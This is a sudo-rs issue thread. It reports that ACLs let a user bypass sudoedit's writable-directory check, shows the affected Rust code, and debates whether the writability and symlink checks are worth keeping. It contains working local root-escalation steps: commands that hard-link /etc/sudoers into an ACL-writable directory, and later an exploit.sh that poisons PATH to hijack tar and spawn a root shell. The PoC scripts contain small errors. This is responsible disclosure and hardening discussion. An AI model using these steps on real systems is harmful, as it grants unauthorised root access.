ACLs allow bypassing sudoedit's writability checks

[Pingasmaster]

I have found one more extremely similar bypass than the previously-reported #1310 with ACLs this time:

Prep: (with alice here by the user which will exploit)

sudo su
sysctl -w fs.protected_hardlinks=0
mkdir /etc/acltest
chown root:root /etc/acltest
chmod 0750 /etc/acltest
setfacl -m u:alice:rwx /etc/acltest

From alice:

ln /etc/sudoers /etc/acltest/notes
stat -c '%i %n' /etc/sudoers /etc/acltest/notes # confirm same inode

Then do:

[alice@pc /]$ EDITOR=nano sudoedit /etc/acltest/notes
sudoedit: /etc/acltest/notes: editing files in a writable directory is not permitted
[alice@pc /]$ EDITOR=nano sudoedit-rs /etc/acltest/notes

Tested on arch linux with latest sudo-rs v2.10.0.

Affected code

src/system/audit.rs lines 218-271:

let user_cannot_write = |file: &File| -> io::Result<()> {
    let meta = file.metadata()?;
    let perms = meta.permissions().mode();

    if perms & mode(Category::World, Op::Write) != 0
        || (perms & mode(Category::Group, Op::Write) != 0)
            && forbidden_user.in_group_by_gid(GroupId::new(meta.gid()))
        || (perms & mode(Category::Owner, Op::Write) != 0)
            && forbidden_user.uid.inner() == meta.uid()
    {
        Err(io::Error::new(
            ErrorKind::PermissionDenied,
            "cannot open a file in a path writable by the user",
        ))
    } else {
        Ok(())
    }
};

let mut cur = File::open("/")?;
user_cannot_write(&cur)?;

for component in components {
    let dir: CString = match component {
        Component::Normal(dir) => CString::new(dir.as_bytes())?,
        Component::CurDir => cstr!(".").to_owned(),
        Component::ParentDir => cstr!("..").to_owned(),
        _ => {
            return Err(io::Error::new(
                ErrorKind::InvalidInput,
                "error in provided path",
            ))
        }
    };

    cur = open_at(cur.as_fd(), &dir, false)?.into();
    user_cannot_write(&cur)?;
}

cur = open_at(cur.as_fd(), &CString::new(file_name.as_bytes())?, true)?.into();
user_cannot_write(&cur)?;

The new check only inspects meta.permissions().mode() and never re-evaluates whether the invoking user still has write access via ACLs. If an ACL grants write permissions to the user, the guard returns Ok(()) just as long as the traditional permission bits forbid writing, so an attacker can drop/update files (including hard links pointing to /etc/passwd or /etc/sudoers) and then call sudoedit-rs and open them.

I believe this could be fixed with something akin to faccessat2(dirfd, ".", W_OK, AT_EMPTY_PATH | AT_EACCESS) on linux and acl_get_fd_np/cap_rights_get on FreeBSD. I don't have the certainty to provide a fix that's 100% working so again I'll let you do the heavy work. Thanks!

[squell]

While we do that we should also add that logic to the sanity check for /etc/sudoers. I mean if a sysadmin is going out of their way to make it writeable that's not our problem, but it would be nice to give an error there as well. We would preferably also do this check in a way that prevents TOCTOU of course.

But as an aside I think I have an idea about what your area of expertise is, so I perhaps have another challenge for you (entirely up to you if you want to spend time on it):

If a user has ALL permission or sudoedit permission (which means they're allowed to edit all possible files), they already have the ability to edit arbitrary files. These checks are essentially extra sanity checks on the case where an admin has configured sudoedit <somepath> and <somepath> has user-writeable components (which essentially would still give a permission to edit all files)

Right now, our sudoedit works as follows:

• the sudoedit argument is checked against the policy (unlike with commands, we don't do any realpath resolution here, I think)

• then that path is opened (and kept open!), a temporary file is created with its contents and an editor launched, etc etc.

• the contents of the temporary file are written back to the file that is kept open (i.e., the path isn't opened a second time)

The scenario that originally (in ogsudo) led to these "no symlink" and "no writeable components" checks are intended to mitigate configurations that give someone permission to edit, say sudoedit /tmp/hello.txt, where /tmp/hello.txt is under the control of the user who can turn that into a link to /etc/sudoers. There's a thread where this is disscussed with the ogsudo author. I'm trying to find the link for you. (That thread by the way also has a great example of wildcard-as-argument misuse in it which makes that entire discussion moot, but nobody seems to notice at the time).

Given the fact that we only open the file once and we check that no component is a symlink, can you make an argument what the 'writability' checks add? Or would you recommend dropping them? There's a complexity that goes into this check and it would be cool to know if it's pulling its weight; esp. if we would start spending time fortifying it further.

Or alternatively, could we drop the "symlink" checks if we have the "user cannot write the components" checks? I.e., do we actually need both or is one or the other enough?

In many configurations this 'writable path' check is just going to be annoying to users.

I know an investigation of this sort isn't likely to give the broad sort of attention that a vulnerability has, so no extrinsic motivation, but maybe it's a topic you might like to dig into. :-)

[squell]

Here’s one relevant link on our repo with a similar request:

#762 (comment).

As soon as I’ve found the mail thread I mentioned I will edit this post.

It was this one: https://bugzilla.sudo.ws/show_bug.cgi?id=707

Any analysis would be appreciated. A very restricted “sudoedit” rule is probably very rare and in this part of the code case that means we are compromising on the “no complexity” and “common use case” principles just for compliance sake. I would love to simplify things.

[Pingasmaster]

Thanks for the answer! Yeah, those check are starting to be kind of heavy and complex. I'm totally in agreement that this is a very edge case issue, first you need to explicitly disable hard symlink protections as root then in order for it to have any influence you need a config where user can only use sudoedit as root (alice (root:root) sudoedit) or has NOPASSWD for sudoedit specifically (alice (root:root) NOPASSWD sudoedit /) powers (which almost never happens combined).

I'm kinda unsure about what you mean here though (english is not my first language):

if a sysadmin is going out of their way to make it writeable that's not our problem

This kind of bug works even when sudoers isn't writeable by the user nor root, thats the point of sudoedit? Restricting sudoers to r--r---- only can't stop anyone from sudoedit-ing the sudoers file. But yeah, this bug is very very specific, and the question of the merit of such a "writeability" check is very interesting.

[Pingasmaster]

So, I thought about it, I wrote 10 paragraphs then realized I had misunderstood sudoedit's purpose and rewrote everything again. I'll try to be short to resume what I found, I searched a bunch of possibilities, re-read code and forums threads again and again, but I've come to to the conclusion that it's just better the way it is unfortunately. I'll update you if I find anything more. Here's the two points I think you're (or possibly I'm?) confused about:

The writable check still matters even though we only open once:

The race we care about isn’t "swap the file after we open it," it’s "swap what that path points to before we ever touch it." If Alice can still write to some directory on the path (via bits, a supplementary group, or an ACL), she can hard-link /etc/passwd into /etc/test123/allowed.conf, then call sudoedit and we'll happily let her edit the /etc/passwd inode. Hard links are effectively indistinguishable from the "real" files, same inode, same metadata, and we can't detect if more than 1 hard link is present for the same inode of an important file because that would break lots of configs which commonly have hardlinks to important files. So there’s no point checking hard link count (the number of inodes that are the same as the file we open) or trying to detect them. The only reliable signal is "could Alice modify any component leading to this file right now?" which is exactly what the writable check enforces. Unfortunately, we still have a problem: if alice gets write access, puts a malicious hardlink then removes her privileges to write in the directory, in this case we can't detect anything, and both sudoedit and sudoedit-rs will happily edit the hardlink (sudoedit can't retroactively prove whether a link was planted, so the best we can do is ensure the user doesn’t currently have write access). However this would effectively require root to not only disable hardlink protections but also remove alice's permissions, so we can assume this is effectively a 0.0001% edge case and not worry about it anyways. Not like we can do anything about it imo.

Symlink checks solve a different problem:

O_NOFOLLOW and the no-symlink traversal keep us from chasing some dangling link an admin forgot about (which happens more often than we might think). That handles passive redirection when the path lives in read-only directories and the user did not create it but uses it, so we have to keep it. It does not stop the "preplaced hard link" attack, so we need both guards: one for "path was rewritten earlier," one for "path is being redirected via symlink."

Therefore to answer you directly:

Given the fact that we only open the file once and we check that no component is a symlink, can you make an argument what the 'writability' checks add?

The "writeability" check is about the user placing a hard link before they even open with sudoedit, not a symlink, which we can't detect without breaking ton of stuff, therefore we have to keep that check. It's not bulletproof but it's our best shot and we can't remove it otherwise hell will break loose and users will start hardlinking important things to their own directory and exploiting sudoedit. An argument for removing it is that because placing hard links technically is restricted until root explicitly disables it (sysctl -w fs.protected_hardlinks=0) on modern linux systems and this is only a bypass on systems which restrict which files a user can sudoedit in sudoers, which is not that uncommon on its own, but this would just make the software somewhat less secure to drop some code knowing that the vulnerability is extremely critical (any root file can be overwritten) if it ever happens and not that impossible, which I'm not really comfortable with personally.

From Todd C. Miller himself:

It is never safe to grant a user sudo permission to edit or execute a file in a directory that is writable by the user.

Ultimately, this is a configuration error. Just as you would not give access to run commands via sudo along a user-writable path so you should not give sudoedit access to a user-writable path.

Humans make mistakes, ultimately I agree this is a config error from the sysadmin but if we can do something it's better to do so. I think that settles it, we have to keep this check. To get back to your other question:

Or alternatively, could we drop the "symlink" checks if we have the "user cannot write the components" checks? I.e., do we actually need both or is one or the other enough?

We absolutely can't drop this because it would allow anybody to exploit already-existing symlinks that are read-only for them, who have been placed by an admin before or an automated systems, there's lots of symlinks to important files for compatibility reasons on "ancient-heriting" systems like Openmandriva (mandrake heritage), and even in modern systems people could have symlinks read-only to any important file so it's way too dangerous to drop this.

On another note entirely, this debate is just like the fact that we import the user's PATH by default.
If the user has access to a NOPASSWD script to execute as root, or even limited root access to only execute that file via sudo and he can read that file then he knows what command he can execute and then he can place a malicious script in $HOME/.pwn/bin/command_to_exploit which will be executed when the shell script runs and give the user unconditional root access.

This is the default under both sudo and sudo-rs, and I was shocked when I found this. Ultimately, this turned out to be a configuration error: The admin should be expected to add NOEXEC to the sudoers's config line of the user so a shell or any other sub-programs can't be opened via this command or removed PATH from being propagated by default. In practice, nobody does. We could maybe focus more urgently on securing that, but I don't think this can 100% solved either.

PoC for this:

alice ALL=(root) /usr/local/bin/backup.sh in /etc/sudoers then

# is executed as root
sudo cat /usr/local/bin/backup.sh <<'EOFb'
#!/bin/sh

SOURCE_DIR=/var/log
DEST=/root/backup-logs.tar.gz

echo "[backup.sh] creating archive of $SOURCE_DIR"
tar -czf "$DEST" "$SOURCE_DIR"

echo "[backup.sh] archive created at $DEST"
EOFb
# secure the file as much as possible root
sudo chmod 700 /usr/local/bin/backup.sh && sudo chown root:root /usr/local/bin/backup.sh
# exploit.sh in the user's home directory, written as user
cat exploit.sh <<'EOFa'
#!/usr/bin/env bash
set -euo pipefail

# Preconditions:
#   • sudo-rs or is installed and on PATH.
#   • /usr/local/bin/backup.sh is a root-owned script allowed via sudo-rs, e.g.:
#       alice ALL=(root) NOPASSWD: /usr/local/bin/backup.sh
#       alice ALL=(root) /usr/local/bin/backup.sh
# Usage:
#   ./exploit.sh

target="/usr/local/bin/backup.sh"
mal_dir="$HOME/.pwn/bin"

if [[ ! -x "$target" ]]; then
    echo "[-] target $target must exist and be executable" >&2
    exit 1
fi

echo "[+] Preparing malicious PATH component at $mal_dir"
mkdir -p "$mal_dir"

cat <<'EOF' >"$mal_dir/sh"
#!/usr/bin/env bash
echo "[!] Hijacked tar invoked as $(id)"
exec /bin/sh
EOF
chmod +x "$mal_dir/tar"

export PATH="$mal_dir:/usr/bin:/bin"
echo "[+] PATH poisoned: $PATH"

echo "[+] Invoking sudo-rs $target"
sudo "$target"
EOFa
./exploit.sh # as alice

If you are allowed a simple command like alice ALL=(root) tar, exploit.sh becomes:

#!/usr/bin/env bash
set -euo pipefail

# Preconditions:
#   • sudo-rs or is installed and on PATH.
#   • /usr/local/bin/backup.sh is a root-owned script allowed via sudo-rs, e.g.:
#       alice ALL=(root) NOPASSWD: /usr/local/bin/backup.sh
#       alice ALL=(root) /usr/local/bin/backup.sh
# Usage:
#   ./exploit.sh

target="/usr/local/bin/backup.sh"
mal_dir="$HOME/.pwn/bin"

if [[ ! -x "$target" ]]; then
    echo "[-] target $target must exist and be executable" >&2
    exit 1
fi

echo "[+] Preparing malicious PATH component at $mal_dir"
mkdir -p "$mal_dir"

# command to exploit here instead of tar
cat <<'EOF' >"$mal_dir/tar"
#!/usr/bin/env bash
echo "[!] Hijacked tar invoked as $(id)"
exec /bin/sh
EOF
chmod +x "$mal_dir/tar"

export PATH="$mal_dir:/usr/bin:/bin"
echo "[+] PATH poisoned: $PATH"

echo "[+] Invoking sudo-rs $target"
# replace with either sudo or sudo-rs
sudo "$target"

This works both with sudo and sudo-rs. We could ultimately block it by not passing PATH through by default but this is half-useless because this is a config mistake, the sudoers line should be alice ALL=(root) NOEXEC: /usr/local/bin/backup.sh which will prevent this, or the config should prevent PATH from being passed by default.

Old answer when I didn't understand that sudoedit was used to edit other files like /etc/hosts:
Seems like to me the only way to protect against these kind of vulnerabilities is actually to make sudoedit only able to edit /etc/sudoers, and anything in /etc/sudoers.d/* (and the general import list of sudoers + the -rs variant). But of course then we loose the ability to edit another sudoers file of a different system with sudoedit. However, editing regular files with sudoedit seems pointless for me; nobody ever does this, or at least I can't see any valid use case for using sudoedit instead of another utility. Users can't make /etc/sudoers nor any sudoers-imported file a hard or soft link (need write access to do that) usually (and if they can, admin fault at this point, and they will only be able to attack sudoers not the whole system with passwd and shadow etc). We can either refuse to edit anything else than these paths (which would still have an attack if the user can hardlink them but I mean at this point this is a lost battle), or assume that everything sudoedit can edit will lead to such a file, which is just admitting we can't solve this problem and is a worse than the solution we have right now.

I thought about detecting if something is a hard/soft link and refusing to open it, but it seems this is vain: a hard link can't be differentiated from a normal file. We could check if more than 1 hard link is present for this file but I mean this is a bit far for such an edge case, and it could break sudoedit if somebody hardlinks sudoers so not a very good solution to our problem.

Also, side tangeant but right now and in the future if we just patch this ACL and do nothing, if the user can get write permissions in a directory then put a hard link to sudoers and then remove its own write permissions, we wouldn't see nothing and sudoedit would happily open the file.

We can't drop the "can the user write this?" check, because everything might be a hard link to any root file (not only /etc/sudoers but also /etc/passwd which is obviously a big big problem and why these vulns are important) and we have no way of detecting that other than writeability which as I said above is not perfect. We still also can't drop the symlink/softlink check because an admin could have left a symlink to an imporant file like passwd shadow or sudoers or anything else really, which would not be that hard to find and exploit.

In a hypothetical scenario where I had the complete dictatorial control of the project I would without an hesitation make it so that sudoedit refuses to open anything not in /etc/sudoers and any -rs equivalent and imported files in these files.

This would allow us to say:

1. If you can disable hard link protection AND ahve write permission to those files to replace them with hard links you have root already so there no point defending against this attack.
2. sudoedit should NEVER be used to edit other files anyways
3. We can now completely drop the "stupid" and complex "writeability" check for everything and the symlink check as we do not allow anything else than the direct /etc/sudoers and related files to be edited with sudoedit so no symlink that leads to these files can be opened because no other files than them will be opened. Obviously we don't allow users to edit sudoers just because they have write access to the file, even though that would do nothing cause they already can edit it with another editor, we have to require the user to have sudo rights to root to edit the file. Simple, straightforward and elegant.
4. We can now prevent an attacker from editing other files like /etc/passwd and other such very dangerous files with sudoedit with hardlink-type attacks like the ACL attack (which it was never meant to edit anyways imo).

But this might cause serious anger from users if they rely on sudoedit to do unorthodox things and edit random files.

The only attack left I see is if an admin imports a user-writeable file into sudoers but at this point this is 10000% their fault.

I really don't know if you or other teams members will agree with me.